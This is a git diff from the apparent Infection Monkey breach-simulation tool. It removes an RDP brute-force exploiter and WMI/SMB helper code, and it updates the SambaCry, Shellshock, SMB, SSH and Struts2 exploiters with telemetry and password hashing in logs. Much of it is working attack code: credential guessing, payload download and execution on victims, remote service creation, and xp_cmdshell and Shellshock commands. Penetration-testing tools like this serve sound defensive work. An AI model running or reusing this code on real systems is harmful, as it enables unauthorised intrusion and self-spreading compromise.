- cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
- try:
- self.cursor.execute(cleanup_command)
- LOG.info('Attack files cleanup command has been sent.')
- return True
- except Exception as e:
- LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
- return False
-
- def __init_ftp_server(self, host):
- """
- Init an FTP server using FTP class on a different process
-
- Return:
- ftp_s: FTP server object
- p: the process obj of the FTP object
- """
-
- try:
- ftp_s = FTP(host)
- multiprocessing.log_to_stderr(logging.DEBUG)
- p = multiprocessing.Process(target=ftp_s.run_server)
- p.start()
- LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
- return ftp_s, p
- except Exception as e:
- LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
- return None, None
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
deleted file mode 100644
index dcef9551c..000000000
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ /dev/null
@@ -1,341 +0,0 @@
-import os.path
-import threading
-import time
-from logging import getLogger
-
-import rdpy.core.log as rdpy_log
-import twisted.python.log
-from rdpy.core.error import RDPSecurityNegoFail
-from rdpy.protocol.rdp import rdp
-from twisted.internet import reactor
-
-from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
-from infection_monkey.exploit.tools import get_target_monkey
-from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
-from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
-from infection_monkey.utils import utf_to_ascii
-from common.utils.exploit_enum import ExploitType
-
-__author__ = 'hoffer'
-
-KEYS_INTERVAL = 0.1
-MAX_WAIT_FOR_UPDATE = 120
-KEYS_SENDER_SLEEP = 0.01
-DOWNLOAD_TIMEOUT = 60
-RDP_PORT = 3389
-LOG = getLogger(__name__)
-
-
-def twisted_log_func(*message, **kw):
- if kw.get('isError'):
- error_msg = 'Unknown'
- if 'failure' in kw:
- error_msg = kw['failure'].getErrorMessage()
- LOG.error("Error from twisted library: %s" % (error_msg,))
- else:
- LOG.debug("Message from twisted library: %s" % (str(message),))
-
-
-def rdpy_log_func(message):
- LOG.debug("Message from rdpy library: %s" % (message,))
-
-
-twisted.python.log.msg = twisted_log_func
-rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
-rdpy_log.log = rdpy_log_func
-
-# thread for twisted reactor, create once.
-global g_reactor
-g_reactor = threading.Thread(target=reactor.run, args=(False,))
-
-
-class ScanCodeEvent(object):
- def __init__(self, code, is_pressed=False, is_special=False):
- self.code = code
- self.is_pressed = is_pressed
- self.is_special = is_special
-
-
-class CharEvent(object):
- def __init__(self, char, is_pressed=False):
- self.char = char
- self.is_pressed = is_pressed
-
-
-class SleepEvent(object):
- def __init__(self, interval):
- self.interval = interval
-
-
-class WaitUpdateEvent(object):
- def __init__(self, updates=1):
- self.updates = updates
- pass
-
-
-def str_to_keys(orig_str):
- result = []
- for c in orig_str:
- result.append(CharEvent(c, True))
- result.append(CharEvent(c, False))
- result.append(WaitUpdateEvent())
- return result
-
-
-class KeyPressRDPClient(rdp.RDPClientObserver):
- def __init__(self, controller, keys, width, height, addr):
- super(KeyPressRDPClient, self).__init__(controller)
- self._keys = keys
- self._addr = addr
- self._update_lock = threading.Lock()
- self._wait_update = False
- self._keys_thread = threading.Thread(target=self._keysSender)
- self._keys_thread.daemon = True
- self._width = width
- self._height = height
- self._last_update = 0
- self.closed = False
- self.success = False
- self._wait_for_update = None
-
- def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
- update_time = time.time()
- self._update_lock.acquire()
- self._last_update = update_time
- self._wait_for_update = False
- self._update_lock.release()
-
- def _keysSender(self):
- LOG.debug("Starting to send keystrokes")
- while True:
-
- if self.closed:
- return
-
- if len(self._keys) == 0:
- reactor.callFromThread(self._controller.close)
- LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
- return
-
- key = self._keys[0]
-
- self._update_lock.acquire()
- time_diff = time.time() - self._last_update
- if type(key) is WaitUpdateEvent:
- self._wait_for_update = True
- self._update_lock.release()
- key.updates -= 1
- if key.updates == 0:
- self._keys = self._keys[1:]
- elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
- self._wait_for_update = False
- self._update_lock.release()
- if type(key) is ScanCodeEvent:
- reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
- key.is_special)
- elif type(key) is CharEvent:
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
- elif type(key) is SleepEvent:
- time.sleep(key.interval)
-
- self._keys = self._keys[1:]
- else:
- self._update_lock.release()
- time.sleep(KEYS_SENDER_SLEEP)
-
- def onReady(self):
- time.sleep(1)
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
- time.sleep(1)
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
- time.sleep(1)
- pass
-
- def onClose(self):
- self.success = len(self._keys) == 0
- self.closed = True
-
- def onSessionReady(self):
- LOG.debug("Logged in, session is ready for work")
- self._last_update = time.time()
- self._keys_thread.start()
-
-
-class CMDClientFactory(rdp.ClientFactory):
- def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
- self._username = username
- self._password = password
- self._domain = domain
- self._keyboard_layout = "en"
- # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter
- self._keys = [SleepEvent(1),
- ScanCodeEvent(91, True, True),
- ScanCodeEvent(19, True),
- ScanCodeEvent(19, False),
- ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
- [WaitUpdateEvent(), ScanCodeEvent(28, True),
- ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
- [WaitUpdateEvent(), ScanCodeEvent(28, True),
- ScanCodeEvent(28, False), WaitUpdateEvent()]
- self._optimized = optimized
- self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
- self._nego = True
- self._client = None
- self._width = width
- self._height = height
- self.done_event = threading.Event()
- self.success = False
-
- def buildObserver(self, controller, addr):
- """
- @summary: Build RFB observer
- We use a RDPClient as RDP observer
- @param controller: build factory and needed by observer
- @param addr: destination address
- @return: RDPClientQt
- """
-
- # create client observer
- self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
-
- controller.setUsername(self._username)
- controller.setPassword(self._password)
- controller.setDomain(self._domain)
- controller.setKeyboardLayout(self._keyboard_layout)
- controller.setHostname(addr.host)
- if self._optimized:
- controller.setPerformanceSession()
- controller.setSecurityLevel(self._security)
-
- return self._client
-
- def clientConnectionLost(self, connector, reason):
- # try reconnect with basic RDP security
- if reason.type == RDPSecurityNegoFail and self._nego:
- LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
- (connector.host, connector.port))
- # stop nego
- self._nego = False
- self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
- connector.connect()
- return
-
- LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
- self.success = self._client.success
- self.done_event.set()
-
- def clientConnectionFailed(self, connector, reason):
- LOG.debug("RDP connection to %s:%s failed, with error: %s" %
- (connector.host, connector.port, reason.getErrorMessage()))
- self.success = False
- self.done_event.set()
-
-
-class RdpExploiter(HostExploiter):
-
- _TARGET_OS_TYPE = ['windows']
- EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
-
- def __init__(self, host):
- super(RdpExploiter, self).__init__(host)
-
- def is_os_supported(self):
- if super(RdpExploiter, self).is_os_supported():
- return True
-
- if not self.host.os.get('type'):
- is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
- if is_open:
- self.host.os['type'] = 'windows'
- return True
- return False
-
- def exploit_host(self):
- global g_reactor
-
- is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
- if not is_open:
- LOG.info("RDP port is closed on %r, skipping", self.host)
- return False
-
- src_path = get_target_monkey(self.host)
-
- if not src_path:
- LOG.info("Can't find suitable monkey executable for host %r", self.host)
- return False
-
- # create server for http download.
- http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
-
- if not http_path:
- LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
- return False
-
- LOG.info("Started http server on %s", http_path)
-
- cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
-
- if self._config.rdp_use_vbs_download:
- command = RDP_CMDLINE_HTTP_VBS % {
- 'monkey_path': self._config.dropper_target_path_win_32,
- 'http_path': http_path, 'parameters': cmdline}
- else:
- command = RDP_CMDLINE_HTTP_BITS % {
- 'monkey_path': self._config.dropper_target_path_win_32,
- 'http_path': http_path, 'parameters': cmdline}
-
- user_password_pairs = self._config.get_exploit_user_password_pairs()
-
- if not g_reactor.is_alive():
- g_reactor.daemon = True
- g_reactor.start()
-
- exploited = False
- for user, password in user_password_pairs:
- try:
- # run command using rdp.
- LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
- self.host, user, password)
-
- LOG.info("RDP connected to %r", self.host)
-
- user = utf_to_ascii(user)
- password = utf_to_ascii(password)
- command = utf_to_ascii(command)
-
- client_factory = CMDClientFactory(user, password, "", command)
-
- reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
-
- client_factory.done_event.wait()
-
- if client_factory.success:
- exploited = True
- self.report_login_attempt(True, user, password)
- break
- else:
- # failed exploiting with this user/pass
- self.report_login_attempt(False, user, password)
-
- except Exception as exc:
- LOG.debug("Error logging into victim %r with user"
- " %s and password '%s': (%s)", self.host,
- user, password, exc)
- continue
-
- http_thread.join(DOWNLOAD_TIMEOUT)
- http_thread.stop()
-
- if not exploited:
- LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
- return False
- elif http_thread.downloads == 0:
- LOG.debug("Exploiter RdpGrinder failed, http download failed.")
- return False
-
- LOG.info("Executed monkey '%s' on remote victim %r",
- os.path.basename(src_path), self.host)
-
- return True
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index 2468a42bc..762cc14b5 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -4,7 +4,6 @@ import posixpath
import re
import time
from io import BytesIO
-from os import path
import impacket.smbconnection
from impacket.nmb import NetBIOSError
@@ -20,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
-from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.pyinstaller_utils import get_binary_file_path
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
__author__ = 'itay.mizeretz'
@@ -35,6 +37,7 @@ class SambaCryExploiter(HostExploiter):
"""
_TARGET_OS_TYPE = ['linux']
+ _EXPLOITED_SERVICE = "Samba"
# Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result
@@ -51,11 +54,13 @@ class SambaCryExploiter(HostExploiter):
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
+ # Supported samba port
+ SAMBA_PORT = 445
def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
- def exploit_host(self):
+ def _exploit_host(self):
if not self.is_vulnerable():
return False
@@ -63,9 +68,9 @@ class SambaCryExploiter(HostExploiter):
LOG.info("Writable shares and their credentials on host %s: %s" %
(self.host.ip_addr, str(writable_shares_creds_dict)))
- self._exploit_info["shares"] = {}
+ self.exploit_info["shares"] = {}
for share in writable_shares_creds_dict:
- self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
+ self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file.
@@ -80,15 +85,21 @@ class SambaCryExploiter(HostExploiter):
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
+ url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'],
+ 'host': self.host.ip_addr,
+ 'port': self.SAMBA_PORT,
+ 'share_name': share}
+ self.add_vuln_url(url)
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
- self._exploit_info["shares"][share]["fullpath"] = fullpath
+ self.exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info(
"Shares triggered successfully on host %s: %s" % (
self.host.ip_addr, str(successfully_triggered_shares)))
+ self.add_vuln_port(self.SAMBA_PORT)
return True
else:
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
@@ -258,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
-
+ T1105Telem(ScanStatus.USED,
+ get_interface_to_target(self.host.ip_addr),
+ self.host.ip_addr,
+ monkey_bin_64_src_path).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index a98cbda50..78e668fc1 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -6,11 +6,13 @@ from random import choice
import requests
+from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.shellshock_resources import CGI_FILES
-from infection_monkey.exploit.tools import build_monkey_commandline
+from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'danielg'
@@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__)
TIMEOUT = 2
TEST_COMMAND = '/bin/uname -a'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
+LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
class ShellShockExploiter(HostExploiter):
@@ -26,6 +29,7 @@ class ShellShockExploiter(HostExploiter):
}
_TARGET_OS_TYPE = ['linux']
+ _EXPLOITED_SERVICE = 'Bash'
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
@@ -35,7 +39,7 @@ class ShellShockExploiter(HostExploiter):
) for _ in range(20))
self.skip_exist = self._config.skip_exploit_if_file_exist
- def exploit_host(self):
+ def _exploit_host(self):
# start by picking ports
candidate_services = {
service: self.host.services[service] for service in self.host.services if
@@ -65,7 +69,7 @@ class ShellShockExploiter(HostExploiter):
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed
- self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
+ self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
@@ -105,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
+ if not self._create_lock_file(exploit, url, header):
+ LOG.info("Another monkey is running shellshock exploit")
+ return True
+
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
@@ -121,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
+ self._remove_lock_file(exploit, url, header)
+
if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@@ -130,6 +140,7 @@ class ShellShockExploiter(HostExploiter):
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
run_path = exploit + chmod
self.attack_page(url, header, run_path)
+ T1222Telem(ScanStatus.USED, chmod, self.host).send()
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
@@ -143,7 +154,7 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
-
+ self.add_executed_cmd(cmdline)
return True
return False
@@ -178,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
return False,
+ def _create_lock_file(self, exploit, url, header):
+ if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
+ return False
+ cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
+ self.attack_page(url, header, cmd)
+ return True
+
+ def _remove_lock_file(self, exploit, url, header):
+ cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
+ self.attack_page(url, header, cmd)
+
@staticmethod
def attack_page(url, header, attack):
result = ""
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 579fd8f1f..398d78d66 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
+from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
LOG = getLogger(__name__)
@@ -17,6 +19,7 @@ LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
+ _EXPLOITED_SERVICE = 'SMB'
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
@@ -42,7 +45,7 @@ class SmbExploiter(HostExploiter):
return self.host.os.get('type') in self._TARGET_OS_TYPE
return False
- def exploit_host(self):
+ def _exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
@@ -65,9 +68,15 @@ class SmbExploiter(HostExploiter):
self._config.smb_download_timeout)
if remote_full_path is not None:
- LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
- self.host, user, password, lm_hash, ntlm_hash)
+ LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)",
+ self.host,
+ user,
+ self._config.hash_sensitive_data(password),
+ self._config.hash_sensitive_data(lm_hash),
+ self._config.hash_sensitive_data(ntlm_hash))
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
+ self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
+ SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
exploited = True
break
else:
@@ -75,9 +84,15 @@ class SmbExploiter(HostExploiter):
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
except Exception as exc:
- LOG.debug("Exception when trying to copy file using SMB to %r with user:"
- " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
- user, password, lm_hash, ntlm_hash, exc)
+ LOG.debug(
+ "Exception when trying to copy file using SMB to %r with user:"
+ " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: (%s)",
+ self.host,
+ user,
+ self._config.hash_sensitive_data(password),
+ self._config.hash_sensitive_data(lm_hash),
+ self._config.hash_sensitive_data(ntlm_hash),
+ exc)
continue
if not exploited:
@@ -87,7 +102,8 @@ class SmbExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
- build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
+ build_monkey_commandline(self.host, get_monkey_depth() - 1,
+ self._config.dropper_target_path_win_32)
else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
@@ -126,15 +142,19 @@ class SmbExploiter(HostExploiter):
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
lpBinaryPathName=cmdline)
service = resp['lpServiceHandle']
-
try:
scmr.hRStartServiceW(scmr_rpc, service)
+ status = ScanStatus.USED
except:
+ status = ScanStatus.SCANNED
pass
+ T1035Telem(status, UsageEnum.SMB).send()
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, self.host, cmdline)
+ self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
+ SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
return True
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 8a58f18c6..ffd584d24 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -1,16 +1,20 @@
+import StringIO
import logging
import time
import paramiko
-import StringIO
import infection_monkey.monkeyfs as monkeyfs
+from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'hoffer'
@@ -22,6 +26,7 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
+ _EXPLOITED_SERVICE = 'SSH'
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
@@ -70,29 +75,30 @@ class SSHExploiter(HostExploiter):
exploited = False
- for user, curpass in user_password_pairs:
+ for user, current_password in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
- password=curpass,
+ password=current_password,
port=port,
timeout=None)
- LOG.debug("Successfully logged in %r using SSH (%s : %s)",
- self.host, user, curpass)
+ LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
+ self.host, user, self._config.hash_sensitive_data(current_password))
exploited = True
- self.report_login_attempt(True, user, curpass)
+ self.add_vuln_port(port)
+ self.report_login_attempt(True, user, current_password)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
- " %s and password '%s': (%s)", self.host,
- user, curpass, exc)
- self.report_login_attempt(False, user, curpass)
+ " %s and password (SHA-512) '%s': (%s)", self.host,
+ user, self._config.hash_sensitive_data(current_password), exc)
+ self.report_login_attempt(False, user, current_password)
continue
return exploited
- def exploit_host(self):
+ def _exploit_host(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@@ -107,7 +113,7 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
- #Check for possible ssh exploits
+ # Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
if not exploited:
exploited = self.exploit_with_login_creds(port, ssh)
@@ -160,10 +166,18 @@ class SSHExploiter(HostExploiter):
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
-
+ status = ScanStatus.USED
+ T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
+ status = ScanStatus.SCANNED
+
+ T1105Telem(status,
+ get_interface_to_target(self.host.ip_addr),
+ self.host.ip_addr,
+ src_path).send()
+ if status == ScanStatus.SCANNED:
return False
try:
@@ -176,6 +190,7 @@ class SSHExploiter(HostExploiter):
self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close()
+ self.add_executed_cmd(cmdline)
return True
except Exception as exc:
diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py
index b32ab1e6f..cb81a2ef5 100644
--- a/monkey/infection_monkey/exploit/struts2.py
+++ b/monkey/infection_monkey/exploit/struts2.py
@@ -21,6 +21,7 @@ DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Struts2'
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None)
diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py
deleted file mode 100644
index 0b496f8be..000000000
--- a/monkey/infection_monkey/exploit/tools.py
+++ /dev/null
@@ -1,536 +0,0 @@
-import logging
-import ntpath
-import os
-import os.path
-import pprint
-import socket
-import struct
-import sys
-import urllib
-
-from impacket.dcerpc.v5 import transport, srvs
-from impacket.dcerpc.v5.dcom import wmi
-from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
-from impacket.dcerpc.v5.dcomrt import DCOMConnection
-from impacket.dcerpc.v5.dtypes import NULL
-from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
-from impacket.smbconnection import SMBConnection, SMB_DIALECT
-
-import infection_monkey.config
-import infection_monkey.monkeyfs as monkeyfs
-from infection_monkey.network.firewall import app as firewall
-from infection_monkey.network.info import get_free_tcp_port, get_routes
-from infection_monkey.transport import HTTPServer, LockedHTTPServer
-from threading import Lock
-
-
-class DceRpcException(Exception):
- pass
-
-
-__author__ = 'itamar'
-
-LOG = logging.getLogger(__name__)
-
-
-class AccessDeniedException(Exception):
- def __init__(self, host, username, password, domain):
- super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
- (host, domain, username, password))
-
-
-class WmiTools(object):
- class WmiConnection(object):
- def __init__(self):
- self._dcom = None
- self._iWbemServices = None
-
- @property
- def connected(self):
- return self._dcom is not None
-
- def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
- if not domain:
- domain = host.ip_addr
-
- dcom = DCOMConnection(host.ip_addr,
- username=username,
- password=password,
- domain=domain,
- lmhash=lmhash,
- nthash=nthash,
- oxidResolver=True)
-
- try:
- iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
- wmi.IID_IWbemLevel1Login)
- except Exception as exc:
- dcom.disconnect()
-
- if "rpc_s_access_denied" == exc.message:
- raise AccessDeniedException(host, username, password, domain)
-
- raise
-
- iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
-
- try:
- self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
- self._dcom = dcom
- except:
- dcom.disconnect()
-
- raise
- finally:
- iWbemLevel1Login.RemRelease()
-
- def close(self):
- assert self.connected, "WmiConnection isn't connected"
-
- self._iWbemServices.RemRelease()
- self._iWbemServices = None
-
- self._dcom.disconnect()
- self._dcom = None
-
- @staticmethod
